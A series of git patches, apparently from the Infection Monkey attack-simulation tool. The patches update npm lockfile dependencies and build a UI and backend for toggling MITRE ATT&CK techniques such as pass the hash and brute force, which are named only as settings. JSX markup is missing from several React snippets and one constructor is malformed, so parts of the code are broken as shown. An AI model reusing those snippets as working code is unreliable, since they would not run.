"sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==" }, "spdy": { "version": "3.4.7", @@ -14976,7 +15567,6 @@ "version": "1.14.1", "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.1.tgz", "integrity": "sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=", - "dev": true, "requires": { "asn1": "0.2.3", "assert-plus": "1.0.0", @@ -15024,6 +15614,48 @@ "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", "dev": true }, + "stdout-stream": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz", + "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==", + "requires": { + "readable-stream": "2.3.6" + }, + "dependencies": { + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "process-nextick-args": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz", + "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==" + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "5.1.1" + } + } + } + }, "stream-browserify": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.1.tgz", @@ -15202,7 +15834,6 @@ "version": "2.1.1", "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", - "dev": true, "requires": { "is-fullwidth-code-point": "2.0.0", "strip-ansi": "4.0.0" @@ -15211,14 +15842,12 @@ "ansi-regex": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=" }, "strip-ansi": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, "requires": { "ansi-regex": "3.0.0" } @@ -15241,7 +15870,6 @@ "version": "3.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", - "dev": true, "requires": { "ansi-regex": "2.1.1" } @@ -15256,7 +15884,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-1.0.1.tgz", "integrity": "sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=", - "dev": true, "requires": { "get-stdin": "4.0.1" } @@ -15293,8 +15920,7 @@ "supports-color": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", - "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", - "dev": true + "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=" }, "symbol-observable": { "version": "1.2.0", @@ -15358,6 +15984,16 @@ "integrity": "sha512-dQRhbNQkRnaqauC7WqSJ21EEksgT0fYZX2lqXzGkpo8JNig9zGZTYoMGvyI2nWmXlE2VSVXVDu7wLVGu/mQEsg==", "dev": true }, + "tar": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.1.tgz", + "integrity": "sha1-jk0qJWwOIYXGsYrWlK7JaLg8sdE=", + "requires": { + "block-stream": "0.0.9", + "fstream": "1.0.11", + "inherits": "2.0.3" + } + }, "text-table": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", @@ -15531,8 +16167,7 @@ "trim-newlines": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-1.0.0.tgz", - "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=", - "dev": true + "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=" }, "trim-right": { "version": "1.0.1", @@ -15540,6 +16175,14 @@ "integrity": "sha1-yy4SAwZ+DI3h9hQJS5/kVwTqYAM=", "dev": true }, + "true-case-path": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz", + "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==", + "requires": { + "glob": "7.1.3" + } + }, "tslib": { "version": "1.9.3", "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.9.3.tgz", @@ -15556,7 +16199,6 @@ "version": "0.6.0", "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", - "dev": true, "requires": { "safe-buffer": "5.1.1" } @@ -15565,7 +16207,6 @@ "version": "0.14.5", "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=", - "dev": true, "optional": true }, "type-check": { @@ -15826,7 +16467,6 @@ "version": "4.2.2", "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", - "dev": true, "requires": { "punycode": "2.1.1" }, @@ -15834,8 +16474,7 @@ "punycode": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", - "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", - "dev": true + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" } } }, @@ -15950,8 +16589,7 @@ "util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", - "dev": true + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" }, "util.promisify": { "version": "1.0.0", @@ -16008,7 +16646,6 @@ "version": "3.0.4", "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", - "dev": true, "requires": { "spdx-correct": "3.0.0", "spdx-expression-parse": "3.0.0" @@ -16029,7 +16666,6 @@ "version": "1.10.0", "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", - "dev": true, "requires": { "assert-plus": "1.0.0", "core-util-is": "1.0.2", @@ -18891,7 +19527,6 @@ "version": "1.3.0", "resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz", "integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=", - "dev": true, "requires": { "isexe": "2.0.0" } @@ -18902,6 +19537,14 @@ "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=", "dev": true }, + "wide-align": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz", + "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==", + "requires": { + "string-width": "2.1.1" + } + }, "window-size": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.0.tgz", @@ -18928,7 +19571,6 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", - "dev": true, "requires": { "string-width": "1.0.2", "strip-ansi": "3.0.1" @@ -18938,7 +19580,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", - "dev": true, "requires": { "number-is-nan": "1.0.1" } @@ -18947,7 +19588,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", - "dev": true, "requires": { "code-point-at": "1.1.0", "is-fullwidth-code-point": "1.0.0", @@ -18959,8 +19599,7 @@ "wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", - "dev": true + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" }, "write": { "version": "0.2.1", @@ -19003,14 +19642,12 @@ "y18n": { "version": "3.2.1", "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz", - "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=", - "dev": true + "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=" }, "yallist": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", - "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", - "dev": true + "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=" }, "yargs": { "version": "3.10.0", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index a74064c54..aad5ddf18 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -73,6 +73,7 @@ "json-loader": "^0.5.7", "jwt-decode": "^2.2.0", "moment": "^2.22.2", + "node-sass": "^4.11.0", "normalize.css": "^8.0.0", "npm": "^6.4.1", "prop-types": "^15.6.2", @@ -92,7 +93,9 @@ "react-router-dom": "^4.3.1", "react-table": "^6.8.6", "react-toggle": "^4.0.1", + "react-tooltip-lite": "^1.9.1", "redux": "^4.0.0", + "sass-loader": "^7.1.0", "sha3": "^2.0.0" } } diff --git a/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js index ec689210b..ff674fbc1 100644 --- a/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js @@ -12,7 +12,7 @@ let renderTechnique = function (technique) { if (technique == null){ return (
      ) } else { - return (
      {technique.title}
      ) + return ({technique.title}) } }; @@ -59,7 +59,8 @@ class MatrixComponent extends AuthComponent { return { Header: key, id: key, - accessor: x => renderTechnique(x[key].technique) + accessor: x => renderTechnique(x[key].technique), + style: { 'white-space': 'unset' } }; }); } diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/checkBox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/checkBox.js index 27eb78995..143df9c86 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/checkBox.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/checkBox.js @@ -1,11 +1,11 @@ import '../../styles/CheckBox.scss' import React from 'react'; -import MatrixComponent from "../attck/MatrixComponent"; +import Tooltip from 'react-tooltip-lite'; class Checkbox extends React.PureComponent { constructor() { - super(); + super(props); this.state = { checked: false, @@ -46,17 +46,22 @@ class Checkbox extends React.PureComponent { render() { const cl = this.composeStateClasses('ui-checkbox-btn'); - + let tooltip = ""; + if (this.props.hasOwnProperty("tooltipContent") && this.props.hasOwnProperty("tooltipDirection")){ + tooltip = () + } + } return (
      - + { this.state.checked && - + @@ -64,7 +69,7 @@ class Checkbox extends React.PureComponent { { !this.state.checked && - + diff --git a/monkey/monkey_island/cc/ui/src/styles/CheckBox.scss b/monkey/monkey_island/cc/ui/src/styles/CheckBox.scss index 6dbf67e2c..fc325edf2 100644 --- a/monkey/monkey_island/cc/ui/src/styles/CheckBox.scss +++ b/monkey/monkey_island/cc/ui/src/styles/CheckBox.scss @@ -1,6 +1,6 @@ // readable -$desired-line-height: 24px; -$desired-height: 36px; +$desired-line-height: 100%; +$desired-height: 100%; $text-offset: 2px; // usable @@ -13,14 +13,15 @@ $light-grey: #EAF4F4; $medium-grey: #7B9EA8; $dark-grey: #7B9EA8; $green: #44CF6C; +$black: #000000; .ui-checkbox-btn { position: relative; display: inline-block; - - padding: (($dh - $dlh) / 2) ($dlh / 2); - border-radius: $dh / 2; // overcompensate background-color: rgba(red, .6); + text-align: center; + width: 100%; + height: 100%; input { display: none; } // turn off, but not forgotten @@ -33,17 +34,13 @@ $green: #44CF6C; .text { font-size: 14px; - line-height: $dlh - $to; - padding-top: $to; - padding-left: 4px; } // color states &.is-unchecked { - border: 1px solid $medium-grey; background-color: transparent; - color: $dark-grey; - fill: $dark-grey; + color: $black; + fill: $black; } &.is-checked { @@ -57,8 +54,6 @@ $green: #44CF6C; .icon { position: relative; display: inline-block; - width: $dlh - 4; - height: $dlh; svg { position: absolute; diff --git a/monkey/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js index b6f7d2dfa..7c56ccff2 100644 --- a/monkey/monkey_island/cc/ui/webpack.config.js +++ b/monkey/monkey_island/cc/ui/webpack.config.js @@ -18,6 +18,14 @@ module.exports = { 'css-loader' ] }, + { + test: /\.scss$/, + use: [ + 'style-loader', + 'css-loader', + 'sass-loader' + ] + }, { test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/, use: { From b319bc8e5f150514e3a472788b00d77ddf40473b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 20 Mar 2019 16:45:43 +0200 Subject: [PATCH 018/598] Toolbar with technique description added to checkboxes --- .../src/components/attck/MatrixComponent.js | 9 ++- .../src/components/ui-components/checkbox.js | 61 +++++++++++++++++++ .../styles/{CheckBox.scss => Checkbox.scss} | 16 +---- .../cc/ui/src/styles/Tooltip.scss | 8 +++ 4 files changed, 78 insertions(+), 16 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js rename monkey/monkey_island/cc/ui/src/styles/{CheckBox.scss => Checkbox.scss} (84%) create mode 100644 monkey/monkey_island/cc/ui/src/styles/Tooltip.scss diff --git a/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js index ff674fbc1..98ce1604d 100644 --- a/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js @@ -1,10 +1,12 @@ import React from 'react'; import Form from 'react-jsonschema-form'; import {Col, Nav, NavItem} from 'react-bootstrap'; -import CheckBox from '../ui-components/checkBox' +import Checkbox from '../ui-components/checkbox' +import Tooltip from 'react-tooltip-lite' import AuthComponent from '../AuthComponent'; -import 'filepond/dist/filepond.min.css'; import ReactTable from "react-table"; +import 'filepond/dist/filepond.min.css'; +import '../../styles/Tooltip.scss'; let renderTechnique = function (technique) { @@ -12,7 +14,8 @@ let renderTechnique = function (technique) { if (technique == null){ return (
      ) } else { - return ({technique.title}) + return ( + {technique.title} ) } }; diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js b/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js new file mode 100644 index 000000000..1d3754036 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/checkbox.js @@ -0,0 +1,61 @@ +import '../../styles/Checkbox.scss' +import React from 'react'; + +class Checkbox extends React.PureComponent { + + constructor() { + super(); + + this.state = { + checked: false, + isAnimating: false, + }; + + this.toggleChecked = this.toggleChecked.bind(this); + this.ping = this.ping.bind(this); + this.composeStateClasses = this.composeStateClasses.bind(this); + } + + // + toggleChecked() { + if (this.state.isAnimating) return false; + this.setState({ + checked: !this.state.checked, + isAnimating: true, + }); + } + + // + ping() { + this.setState({ isAnimating: false }) + } + + // + composeStateClasses(core) { + let result = core; + + if (this.state.checked) { result += ' is-checked'; } + else { result += ' is-unchecked' } + + if (this.state.isAnimating) { result += ' do-ping'; } + return result; + } + + // + render() { + + const cl = this.composeStateClasses('ui-checkbox-btn'); + + return ( +
      + + +
      +
      + ) + } +} + +export default Checkbox; diff --git a/monkey/monkey_island/cc/ui/src/styles/CheckBox.scss b/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss similarity index 84% rename from monkey/monkey_island/cc/ui/src/styles/CheckBox.scss rename to monkey/monkey_island/cc/ui/src/styles/Checkbox.scss index fc325edf2..cb24563f7 100644 --- a/monkey/monkey_island/cc/ui/src/styles/CheckBox.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Checkbox.scss @@ -1,14 +1,4 @@ -// readable -$desired-line-height: 100%; -$desired-height: 100%; -$text-offset: 2px; - -// usable -$dlh: $desired-line-height; -$dh: $desired-height; -$to: $text-offset; - -// coooolors +// colors $light-grey: #EAF4F4; $medium-grey: #7B9EA8; $dark-grey: #7B9EA8; @@ -23,16 +13,16 @@ $black: #000000; width: 100%; height: 100%; - input { display: none; } // turn off, but not forgotten + input { display: none; } .icon, .text { display: inline-block; - vertical-align: top; color: inherit; } .text { + padding-top: 4px; font-size: 14px; } diff --git a/monkey/monkey_island/cc/ui/src/styles/Tooltip.scss b/monkey/monkey_island/cc/ui/src/styles/Tooltip.scss new file mode 100644 index 000000000..7d2ff9d35 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/Tooltip.scss @@ -0,0 +1,8 @@ +$background: #000000; +$font: #fff; + +.react-tooltip-lite { + background: $background; + color: $font; + max-width: 400px !important; +} From 88229e74c96a67621be6d485657db93d3b2195c5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 22 Mar 2019 14:41:49 +0200 Subject: [PATCH 019/598] Configuration submission --- monkey/monkey_island/cc/app.py | 4 +- monkey/monkey_island/cc/resources/attack.py | 18 ++ monkey/monkey_island/cc/resources/attck.py | 12 -- monkey/monkey_island/cc/resources/root.py | 2 + .../cc/services/{attck => attack}/__init__.py | 0 .../cc/services/attack/attack.py | 44 +++++ .../attack_schema.py} | 12 +- .../monkey_island/cc/services/attck/attck.py | 43 ----- .../src/components/attack/MatrixComponent.js | 156 ++++++++++++++++++ .../src/components/attck/MatrixComponent.js | 83 ---------- .../cc/ui/src/components/pages/AttckPage.js | 11 +- monkey/monkey_island/cc/ui/src/styles/App.css | 5 + .../cc/ui/src/styles/Checkbox.scss | 8 +- 13 files changed, 245 insertions(+), 153 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/attack.py delete mode 100644 monkey/monkey_island/cc/resources/attck.py rename monkey/monkey_island/cc/services/{attck => attack}/__init__.py (100%) create mode 100644 monkey/monkey_island/cc/services/attack/attack.py rename monkey/monkey_island/cc/services/{attck/attck_schema.py => attack/attack_schema.py} (87%) delete mode 100644 monkey/monkey_island/cc/services/attck/attck.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js delete mode 100644 monkey/monkey_island/cc/ui/src/components/attck/MatrixComponent.js diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 4d3148414..c313cea50 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -29,7 +29,7 @@ from cc.resources.telemetry import Telemetry from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload from cc.resources.pba_file_upload import FileUpload -from cc.resources.attck import AttckConfiguration +from cc.resources.attack import AttckConfiguration from cc.services.config import ConfigService __author__ = 'Barak' @@ -124,6 +124,6 @@ def init_app(mongo_url): '/api/fileUpload/?load=', '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') - api.add_resource(AttckConfiguration, '/api/attck') + api.add_resource(AttckConfiguration, '/api/attack') return app diff --git a/monkey/monkey_island/cc/resources/attack.py b/monkey/monkey_island/cc/resources/attack.py new file mode 100644 index 000000000..dd8be055e --- /dev/null +++ b/monkey/monkey_island/cc/resources/attack.py @@ -0,0 +1,18 @@ +import flask_restful +import json +from flask import jsonify, request + +from cc.auth import jwt_required +from cc.services.attack.attack import AttackService + + +class AttckConfiguration(flask_restful.Resource): + @jwt_required() + def get(self): + return jsonify(configuration=AttackService.get_config()['properties']) + + @jwt_required() + def post(self): + AttackService.update_config({'properties': json.loads(request.data)}) + return {} + diff --git a/monkey/monkey_island/cc/resources/attck.py b/monkey/monkey_island/cc/resources/attck.py deleted file mode 100644 index 3b0d1605b..000000000 --- a/monkey/monkey_island/cc/resources/attck.py +++ /dev/null @@ -1,12 +0,0 @@ -import flask_restful -from flask import jsonify - -from cc.auth import jwt_required -from cc.services.attck.attck import AttckService - - -class AttckConfiguration(flask_restful.Resource): - @jwt_required() - def get(self): - return jsonify(configuration=AttckService.get_config()['properties']) - diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 923535096..46e2b4638 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -7,6 +7,7 @@ from flask import request, make_response, jsonify from cc.auth import jwt_required from cc.database import mongo from cc.services.config import ConfigService +from cc.services.attack.attack import AttackService from cc.services.node import NodeService from cc.services.report import ReportService from cc.utils import local_ip_addresses @@ -47,6 +48,7 @@ class Root(flask_restful.Resource): # We can't drop system collections. [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] ConfigService.init_config() + AttackService.reset_config() logger.info('DB was reset') return jsonify(status='OK') diff --git a/monkey/monkey_island/cc/services/attck/__init__.py b/monkey/monkey_island/cc/services/attack/__init__.py similarity index 100% rename from monkey/monkey_island/cc/services/attck/__init__.py rename to monkey/monkey_island/cc/services/attack/__init__.py diff --git a/monkey/monkey_island/cc/services/attack/attack.py b/monkey/monkey_island/cc/services/attack/attack.py new file mode 100644 index 000000000..b4f95b4df --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/attack.py @@ -0,0 +1,44 @@ +import logging +from cc.database import mongo +from attack_schema import SCHEMA + +__author__ = "VakarisZ" + +logger = logging.getLogger(__name__) + + +class AttackService: + default_config = None + + def __init__(self): + pass + + @staticmethod + def get_config(): + config = mongo.db.attack.find_one({'name': 'newconfig'}) or AttackService.get_default_config() + return config + + @staticmethod + def get_config_schema(): + return SCHEMA + + @staticmethod + def reset_config(): + config = AttackService.get_default_config() + AttackService.update_config(config) + + @staticmethod + def update_config(config_json): + mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + return True + + @staticmethod + def parse_users_matrix(data): + pass + + @staticmethod + def get_default_config(): + if not AttackService.default_config: + AttackService.update_config(SCHEMA) + AttackService.default_config = SCHEMA + return AttackService.default_config diff --git a/monkey/monkey_island/cc/services/attck/attck_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py similarity index 87% rename from monkey/monkey_island/cc/services/attck/attck_schema.py rename to monkey/monkey_island/cc/services/attack/attack_schema.py index 1d720aa9a..8ffe73bdb 100644 --- a/monkey/monkey_island/cc/services/attck/attck_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -9,7 +9,8 @@ SCHEMA = { "T1210": { "title": "T1210 Exploitation of Remote services", "type": "bool", - "default": True, + "value": True, + "necessary": False, "description": "Exploitation of a software vulnerability occurs when an adversary " "takes advantage of a programming error in a program, service, or within the " "operating system software or kernel itself to execute adversary-controlled code." @@ -17,7 +18,8 @@ SCHEMA = { "T1075": { "title": "T1075 Pass the hash", "type": "bool", - "default": True, + "value": True, + "necessary": False, "description": "Pass the hash (PtH) is a method of authenticating as a user without " "having access to the user's cleartext password." } @@ -30,7 +32,8 @@ SCHEMA = { "T1110": { "title": "T1110 Brute force", "type": "bool", - "default": True, + "value": False, + "necessary": False, "description": "Adversaries may use brute force techniques to attempt access to accounts " "when passwords are unknown or when password hashes are obtained." } @@ -43,7 +46,8 @@ SCHEMA = { "T1197": { "title": "T1197 Bits jobs", "type": "bool", - "default": True, + "value": True, + "necessary": True, "description": "Adversaries may abuse BITS to download, execute, " "and even clean up after running malicious code." } diff --git a/monkey/monkey_island/cc/services/attck/attck.py b/monkey/monkey_island/cc/services/attck/attck.py deleted file mode 100644 index 1c7965a4a..000000000 --- a/monkey/monkey_island/cc/services/attck/attck.py +++ /dev/null @@ -1,43 +0,0 @@ -import logging -from cc.database import mongo -from attck_schema import SCHEMA -from jsonschema import Draft4Validator, validators - -__author__ = "VakarisZ" - -logger = logging.getLogger(__name__) - - -class AttckService: - default_config = None - - def __init__(self): - pass - - @staticmethod - def get_config(): - config = mongo.db.attck.find_one({'name': 'newconfig'}) or AttckService.get_default_config() - return config - - @staticmethod - def get_config_schema(): - return SCHEMA - - @staticmethod - def reset_config(): - config = AttckService.get_default_config() - AttckService.update_config(config) - logger.info('Monkey config reset was called') - - @staticmethod - def update_config(config_json): - mongo.db.attck.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) - logger.info('Attck config was updated') - return True - - @staticmethod - def get_default_config(): - if not AttckService.default_config: - AttckService.update_config(SCHEMA) - AttckService.default_config = SCHEMA - return AttckService.default_config diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js new file mode 100644 index 000000000..128a230be --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js @@ -0,0 +1,156 @@ +import React from 'react'; +import Checkbox from '../ui-components/checkbox' +import Tooltip from 'react-tooltip-lite' +import AuthComponent from '../AuthComponent'; +import ReactTable from "react-table"; +import 'filepond/dist/filepond.min.css'; +import '../../styles/Tooltip.scss'; + + +// Finds which attack type has most techniques and returns that number +let findMaxTechniques = function (data){ + let maxLen = 0; + data.forEach(function(techType) { + if (Object.keys(techType.properties).length > maxLen){ + maxLen = Object.keys(techType.properties).length + } + }); + return maxLen +}; + +// Parses config schema into data suitable for react-table (ATT&CK matrix) +let parseTechniques = function (data, maxLen) { + let techniques = []; + // Create rows with attack techniques + for (let i = 0; i < maxLen; i++) { + let row = {}; + data.forEach(function(techType){ + let rowColumn = {}; + rowColumn.techName = techType.title; + + if (i <= Object.keys(techType.properties).length) { + rowColumn.technique = Object.values(techType.properties)[i]; + if (rowColumn.technique){ + rowColumn.technique.name = Object.keys(techType.properties)[i] + } + } else { + rowColumn.technique = null + } + row[rowColumn.techName] = rowColumn + }); + techniques.push(row) + } + return techniques; +}; + +class MatrixComponent extends AuthComponent { + constructor(props) { + super(props); + this.state = {lastAction: 'none', matrixData: this.props.configuration}; + // Copy configuration and parse it for ATT&CK matrix table + let configCopy = JSON.parse(JSON.stringify(this.props.configuration)); + this.maxTechniques = findMaxTechniques(Object.values(configCopy)); + this.data = parseTechniques(Object.values(configCopy), this.maxTechniques); + } + + getColumns() { + return Object.keys(this.data[0]).map((key)=>{ + return { + Header: key, + id: key, + accessor: x => this.renderTechnique(x[key].technique), + style: { 'whiteSpace': 'unset' } + }; + }); + } + + renderTechnique(technique) { + if (technique == null){ + return (
      ) + } else { + return ( + + {technique.title} + + ) + } + }; + + onSubmit = () => { + console.log(this.state.matrixData); + this.authFetch('/api/attack', + { + method: 'POST', + headers: {'Content-Type': 'application/json'}, + body: JSON.stringify(this.state.matrixData) + }) + .then(res => { + if (!res.ok) + { + throw Error() + } + return res; + }).then( + this.setState({ + lastAction: 'saved' + }) + ).catch(error => { + console.log('bad configuration'); + this.setState({lastAction: 'invalid_configuration'}); + }); + }; + + handleTechniqueChange = (technique, value) => { + Object.entries(this.state.matrixData).forEach(techType => { + if(techType[1].properties.hasOwnProperty(technique)){ + let tempMatrix = this.state.matrixData; + tempMatrix[techType[0]].properties[technique].value = value; + this.setState({matrixData: tempMatrix}); + } + }); + }; + + render() { + let columns = this.getColumns(); + return ( +
